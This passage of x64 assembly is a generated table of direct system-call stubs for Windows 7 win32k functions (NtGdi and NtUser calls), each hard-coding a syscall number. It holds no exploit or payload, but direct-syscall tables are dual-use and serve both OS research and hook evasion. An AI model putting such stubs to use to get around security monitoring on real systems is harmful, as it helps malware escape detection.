db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiMoveTo ENDP ; ULONG64 __stdcall NtGdiOffsetClipRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiOffsetClipRgn PROC STDCALL mov r10 , rcx mov eax , 4675 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiOffsetClipRgn ENDP ; ULONG64 __stdcall NtGdiPATHOBJ_bEnum( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiPATHOBJ_bEnum PROC STDCALL mov r10 , rcx mov eax , 4676 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiPATHOBJ_bEnum ENDP ; ULONG64 __stdcall NtGdiPATHOBJ_bEnumClipLines( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiPATHOBJ_bEnumClipLines PROC STDCALL mov r10 , rcx mov eax , 4677 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiPATHOBJ_bEnumClipLines ENDP ; ULONG64 __stdcall NtGdiPATHOBJ_vEnumStart( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiPATHOBJ_vEnumStart PROC STDCALL mov r10 , rcx mov eax , 4678 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiPATHOBJ_vEnumStart ENDP ; ULONG64 __stdcall NtGdiPATHOBJ_vEnumStartClipLines( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiPATHOBJ_vEnumStartClipLines PROC STDCALL mov r10 , rcx mov eax , 4679 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiPATHOBJ_vEnumStartClipLines ENDP ; ULONG64 __stdcall NtGdiPATHOBJ_vGetBounds( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiPATHOBJ_vGetBounds PROC STDCALL mov r10 , rcx mov eax , 4680 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiPATHOBJ_vGetBounds ENDP ; ULONG64 __stdcall NtGdiPathToRegion( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiPathToRegion PROC STDCALL mov r10 , rcx mov eax , 4681 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiPathToRegion ENDP ; ULONG64 __stdcall NtGdiPlgBlt( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 ); _6_1_7600_sp0_windows_7_NtGdiPlgBlt PROC STDCALL mov r10 , rcx mov eax , 4682 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiPlgBlt ENDP ; ULONG64 __stdcall NtGdiPolyDraw( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiPolyDraw PROC STDCALL mov r10 , rcx mov eax , 4683 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiPolyDraw ENDP ; ULONG64 __stdcall NtGdiPolyTextOutW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiPolyTextOutW PROC STDCALL mov r10 , rcx mov eax , 4684 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiPolyTextOutW ENDP ; ULONG64 __stdcall NtGdiPtInRegion( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiPtInRegion PROC STDCALL mov r10 , rcx mov eax , 4685 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiPtInRegion ENDP ; ULONG64 __stdcall NtGdiPtVisible( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiPtVisible PROC STDCALL mov r10 , rcx mov eax , 4686 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiPtVisible ENDP ; ULONG64 __stdcall NtGdiQueryFonts( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiQueryFonts PROC STDCALL mov r10 , rcx mov eax , 4687 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiQueryFonts ENDP ; ULONG64 __stdcall NtGdiRemoveFontResourceW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtGdiRemoveFontResourceW PROC STDCALL mov r10 , rcx mov eax , 4688 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiRemoveFontResourceW ENDP ; ULONG64 __stdcall NtGdiRemoveMergeFont( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiRemoveMergeFont PROC STDCALL mov r10 , rcx mov eax , 4689 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiRemoveMergeFont ENDP ; ULONG64 __stdcall NtGdiResetDC( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiResetDC PROC STDCALL mov r10 , rcx mov eax , 4690 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiResetDC ENDP ; ULONG64 __stdcall NtGdiResizePalette( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiResizePalette PROC STDCALL mov r10 , rcx mov eax , 4691 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiResizePalette ENDP ; ULONG64 __stdcall NtGdiRoundRect( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); _6_1_7600_sp0_windows_7_NtGdiRoundRect PROC STDCALL mov r10 , rcx mov eax , 4692 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiRoundRect ENDP ; ULONG64 __stdcall NtGdiSTROBJ_bEnum( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiSTROBJ_bEnum PROC STDCALL mov r10 , rcx mov eax , 4693 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSTROBJ_bEnum ENDP ; ULONG64 __stdcall NtGdiSTROBJ_bEnumPositionsOnly( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiSTROBJ_bEnumPositionsOnly PROC STDCALL mov r10 , rcx mov eax , 4694 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSTROBJ_bEnumPositionsOnly ENDP ; ULONG64 __stdcall NtGdiSTROBJ_bGetAdvanceWidths( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiSTROBJ_bGetAdvanceWidths PROC STDCALL mov r10 , rcx mov eax , 4695 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSTROBJ_bGetAdvanceWidths ENDP ; ULONG64 __stdcall NtGdiSTROBJ_dwGetCodePage( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiSTROBJ_dwGetCodePage PROC STDCALL mov r10 , rcx mov eax , 4696 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSTROBJ_dwGetCodePage ENDP ; ULONG64 __stdcall NtGdiSTROBJ_vEnumStart( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiSTROBJ_vEnumStart PROC STDCALL mov r10 , rcx mov eax , 4697 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSTROBJ_vEnumStart ENDP ; ULONG64 __stdcall NtGdiScaleViewportExtEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtGdiScaleViewportExtEx PROC STDCALL mov r10 , rcx mov eax , 4698 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiScaleViewportExtEx ENDP ; ULONG64 __stdcall NtGdiScaleWindowExtEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtGdiScaleWindowExtEx PROC STDCALL mov r10 , rcx mov eax , 4699 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiScaleWindowExtEx ENDP ; ULONG64 __stdcall NtGdiSelectBrush( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiSelectBrush PROC STDCALL mov r10 , rcx mov eax , 4700 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSelectBrush ENDP ; ULONG64 __stdcall NtGdiSelectClipPath( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiSelectClipPath PROC STDCALL mov r10 , rcx mov eax , 4701 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSelectClipPath ENDP ; ULONG64 __stdcall NtGdiSelectPen( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiSelectPen PROC STDCALL mov r10 , rcx mov eax , 4702 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSelectPen ENDP ; ULONG64 __stdcall NtGdiSetBitmapAttributes( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiSetBitmapAttributes PROC STDCALL mov r10 , rcx mov eax , 4703 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSetBitmapAttributes ENDP ; ULONG64 __stdcall NtGdiSetBrushAttributes( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiSetBrushAttributes PROC STDCALL mov r10 , rcx mov eax , 4704 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSetBrushAttributes ENDP ; ULONG64 __stdcall NtGdiSetColorAdjustment( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiSetColorAdjustment PROC STDCALL mov r10 , rcx mov eax , 4705 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSetColorAdjustment ENDP ; ULONG64 __stdcall NtGdiSetColorSpace( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiSetColorSpace PROC STDCALL mov r10 , rcx mov eax , 4706 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSetColorSpace ENDP ; ULONG64 __stdcall NtGdiSetDeviceGammaRamp( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiSetDeviceGammaRamp PROC STDCALL mov r10 , rcx mov eax , 4707 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSetDeviceGammaRamp ENDP ; ULONG64 __stdcall NtGdiSetFontXform( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiSetFontXform PROC STDCALL mov r10 , rcx mov eax , 4708 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSetFontXform ENDP ; ULONG64 __stdcall NtGdiSetIcmMode( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiSetIcmMode PROC STDCALL mov r10 , rcx mov eax , 4709 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSetIcmMode ENDP ; ULONG64 __stdcall NtGdiSetLinkedUFIs( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiSetLinkedUFIs PROC STDCALL mov r10 , rcx mov eax , 4710 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSetLinkedUFIs ENDP ; ULONG64 __stdcall NtGdiSetMagicColors( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiSetMagicColors PROC STDCALL mov r10 , rcx mov eax , 4711 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSetMagicColors ENDP ; ULONG64 __stdcall NtGdiSetOPMSigningKeyAndSequenceNumbers( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiSetOPMSigningKeyAndSequenceNumbers PROC STDCALL mov r10 , rcx mov eax , 4712 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSetOPMSigningKeyAndSequenceNumbers ENDP ; ULONG64 __stdcall NtGdiSetPUMPDOBJ( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiSetPUMPDOBJ PROC STDCALL mov r10 , rcx mov eax , 4713 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSetPUMPDOBJ ENDP ; ULONG64 __stdcall NtGdiSetPixelFormat( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiSetPixelFormat PROC STDCALL mov r10 , rcx mov eax , 4714 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSetPixelFormat ENDP ; ULONG64 __stdcall NtGdiSetRectRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiSetRectRgn PROC STDCALL mov r10 , rcx mov eax , 4715 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSetRectRgn ENDP ; ULONG64 __stdcall NtGdiSetSizeDevice( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiSetSizeDevice PROC STDCALL mov r10 , rcx mov eax , 4716 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSetSizeDevice ENDP ; ULONG64 __stdcall NtGdiSetSystemPaletteUse( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiSetSystemPaletteUse PROC STDCALL mov r10 , rcx mov eax , 4717 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSetSystemPaletteUse ENDP ; ULONG64 __stdcall NtGdiSetTextJustification( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiSetTextJustification PROC STDCALL mov r10 , rcx mov eax , 4718 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSetTextJustification ENDP ; ULONG64 __stdcall NtGdiSfmGetNotificationTokens( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiSfmGetNotificationTokens PROC STDCALL mov r10 , rcx mov eax , 4719 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSfmGetNotificationTokens ENDP ; ULONG64 __stdcall NtGdiStartDoc( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiStartDoc PROC STDCALL mov r10 , rcx mov eax , 4720 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiStartDoc ENDP ; ULONG64 __stdcall NtGdiStartPage( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiStartPage PROC STDCALL mov r10 , rcx mov eax , 4721 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiStartPage ENDP ; ULONG64 __stdcall NtGdiStrokeAndFillPath( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiStrokeAndFillPath PROC STDCALL mov r10 , rcx mov eax , 4722 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiStrokeAndFillPath ENDP ; ULONG64 __stdcall NtGdiStrokePath( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiStrokePath PROC STDCALL mov r10 , rcx mov eax , 4723 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiStrokePath ENDP ; ULONG64 __stdcall NtGdiSwapBuffers( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiSwapBuffers PROC STDCALL mov r10 , rcx mov eax , 4724 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSwapBuffers ENDP ; ULONG64 __stdcall NtGdiTransparentBlt( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 ); _6_1_7600_sp0_windows_7_NtGdiTransparentBlt PROC STDCALL mov r10 , rcx mov eax , 4725 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiTransparentBlt ENDP ; ULONG64 __stdcall NtGdiUMPDEngFreeUserMem( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiUMPDEngFreeUserMem PROC STDCALL mov r10 , rcx mov eax , 4726 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiUMPDEngFreeUserMem ENDP ; ULONG64 __stdcall DxgStubAlphaBlt( ); _6_1_7600_sp0_windows_7_DxgStubAlphaBlt PROC STDCALL mov r10 , rcx mov eax , 4727 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_DxgStubAlphaBlt ENDP ; ULONG64 __stdcall EngRestoreFloatingPointState( ); _6_1_7600_sp0_windows_7_EngRestoreFloatingPointState PROC STDCALL mov r10 , rcx mov eax , 4728 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_EngRestoreFloatingPointState ENDP ; ULONG64 __stdcall NtGdiUpdateColors( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiUpdateColors PROC STDCALL mov r10 , rcx mov eax , 4729 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiUpdateColors ENDP ; ULONG64 __stdcall NtGdiUpdateTransform( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiUpdateTransform PROC STDCALL mov r10 , rcx mov eax , 4730 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiUpdateTransform ENDP ; ULONG64 __stdcall NtGdiWidenPath( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiWidenPath PROC STDCALL mov r10 , rcx mov eax , 4731 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiWidenPath ENDP ; ULONG64 __stdcall NtGdiXFORMOBJ_bApplyXform( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiXFORMOBJ_bApplyXform PROC STDCALL mov r10 , rcx mov eax , 4732 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiXFORMOBJ_bApplyXform ENDP ; ULONG64 __stdcall NtGdiXFORMOBJ_iGetXform( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiXFORMOBJ_iGetXform PROC STDCALL mov r10 , rcx mov eax , 4733 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiXFORMOBJ_iGetXform ENDP ; ULONG64 __stdcall NtGdiXLATEOBJ_cGetPalette( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiXLATEOBJ_cGetPalette PROC STDCALL mov r10 , rcx mov eax , 4734 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiXLATEOBJ_cGetPalette ENDP ; ULONG64 __stdcall NtGdiXLATEOBJ_hGetColorTransform( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiXLATEOBJ_hGetColorTransform PROC STDCALL mov r10 , rcx mov eax , 4735 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiXLATEOBJ_hGetColorTransform ENDP ; ULONG64 __stdcall NtGdiXLATEOBJ_iXlate( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiXLATEOBJ_iXlate PROC STDCALL mov r10 , rcx mov eax , 4736 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiXLATEOBJ_iXlate ENDP ; ULONG64 __stdcall NtUserAddClipboardFormatListener( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserAddClipboardFormatListener PROC STDCALL mov r10 , rcx mov eax , 4737 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserAddClipboardFormatListener ENDP ; ULONG64 __stdcall NtUserAssociateInputContext( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserAssociateInputContext PROC STDCALL mov r10 , rcx mov eax , 4738 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserAssociateInputContext ENDP ; ULONG64 __stdcall NtUserBlockInput( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserBlockInput PROC STDCALL mov r10 , rcx mov eax , 4739 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserBlockInput ENDP ; ULONG64 __stdcall NtUserBuildHimcList( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserBuildHimcList PROC STDCALL mov r10 , rcx mov eax , 4740 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserBuildHimcList ENDP ; ULONG64 __stdcall NtUserBuildPropList( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserBuildPropList PROC STDCALL mov r10 , rcx mov eax , 4741 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserBuildPropList ENDP ; ULONG64 __stdcall NtUserCalculatePopupWindowPosition( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtUserCalculatePopupWindowPosition PROC STDCALL mov r10 , rcx mov eax , 4742 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCalculatePopupWindowPosition ENDP ; ULONG64 __stdcall NtUserCallHwndOpt( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserCallHwndOpt PROC STDCALL mov r10 , rcx mov eax , 4743 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCallHwndOpt ENDP ; ULONG64 __stdcall NtUserChangeDisplaySettings( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserChangeDisplaySettings PROC STDCALL mov r10 , rcx mov eax , 4744 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserChangeDisplaySettings ENDP ; ULONG64 __stdcall NtUserChangeWindowMessageFilterEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserChangeWindowMessageFilterEx PROC STDCALL mov r10 , rcx mov eax , 4745 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserChangeWindowMessageFilterEx ENDP ; ULONG64 __stdcall NtUserCheckAccessForIntegrityLevel( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserCheckAccessForIntegrityLevel PROC STDCALL mov r10 , rcx mov eax , 4746 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCheckAccessForIntegrityLevel ENDP ; ULONG64 __stdcall NtUserCheckDesktopByThreadId( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserCheckDesktopByThreadId PROC STDCALL mov r10 , rcx mov eax , 4747 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCheckDesktopByThreadId ENDP ; ULONG64 __stdcall NtUserCheckWindowThreadDesktop( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserCheckWindowThreadDesktop PROC STDCALL mov r10 , rcx mov eax , 4748 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCheckWindowThreadDesktop ENDP ; ULONG64 __stdcall NtUserChildWindowFromPointEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserChildWindowFromPointEx PROC STDCALL mov r10 , rcx mov eax , 4749 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserChildWindowFromPointEx ENDP ; ULONG64 __stdcall NtUserClipCursor( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserClipCursor PROC STDCALL mov r10 , rcx mov eax , 4750 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserClipCursor ENDP ; ULONG64 __stdcall NtUserCreateDesktopEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtUserCreateDesktopEx PROC STDCALL mov r10 , rcx mov eax , 4751 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCreateDesktopEx ENDP ; ULONG64 __stdcall NtUserCreateInputContext( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserCreateInputContext PROC STDCALL mov r10 , rcx mov eax , 4752 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCreateInputContext ENDP ; ULONG64 __stdcall NtUserCreateWindowStation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); _6_1_7600_sp0_windows_7_NtUserCreateWindowStation PROC STDCALL mov r10 , rcx mov eax , 4753 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCreateWindowStation ENDP ; ULONG64 __stdcall NtUserCtxDisplayIOCtl( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserCtxDisplayIOCtl PROC STDCALL mov r10 , rcx mov eax , 4754 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCtxDisplayIOCtl ENDP ; ULONG64 __stdcall NtUserDestroyInputContext( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserDestroyInputContext PROC STDCALL mov r10 , rcx mov eax , 4755 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserDestroyInputContext ENDP ; ULONG64 __stdcall NtUserDisableThreadIme( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserDisableThreadIme PROC STDCALL mov r10 , rcx mov eax , 4756 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserDisableThreadIme ENDP ; ULONG64 __stdcall NtUserDisplayConfigGetDeviceInfo( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserDisplayConfigGetDeviceInfo PROC STDCALL mov r10 , rcx mov eax , 4757 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserDisplayConfigGetDeviceInfo ENDP ; ULONG64 __stdcall NtUserDisplayConfigSetDeviceInfo( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserDisplayConfigSetDeviceInfo PROC STDCALL mov r10 , rcx mov eax , 4758 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserDisplayConfigSetDeviceInfo ENDP ; ULONG64 __stdcall NtUserDoSoundConnect( ); _6_1_7600_sp0_windows_7_NtUserDoSoundConnect PROC STDCALL mov r10 , rcx mov eax , 4759 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserDoSoundConnect ENDP ; ULONG64 __stdcall NtUserDoSoundDisconnect( ); _6_1_7600_sp0_windows_7_NtUserDoSoundDisconnect PROC STDCALL mov r10 , rcx mov eax , 4760 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserDoSoundDisconnect ENDP ; ULONG64 __stdcall NtUserDragDetect( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserDragDetect PROC STDCALL mov r10 , 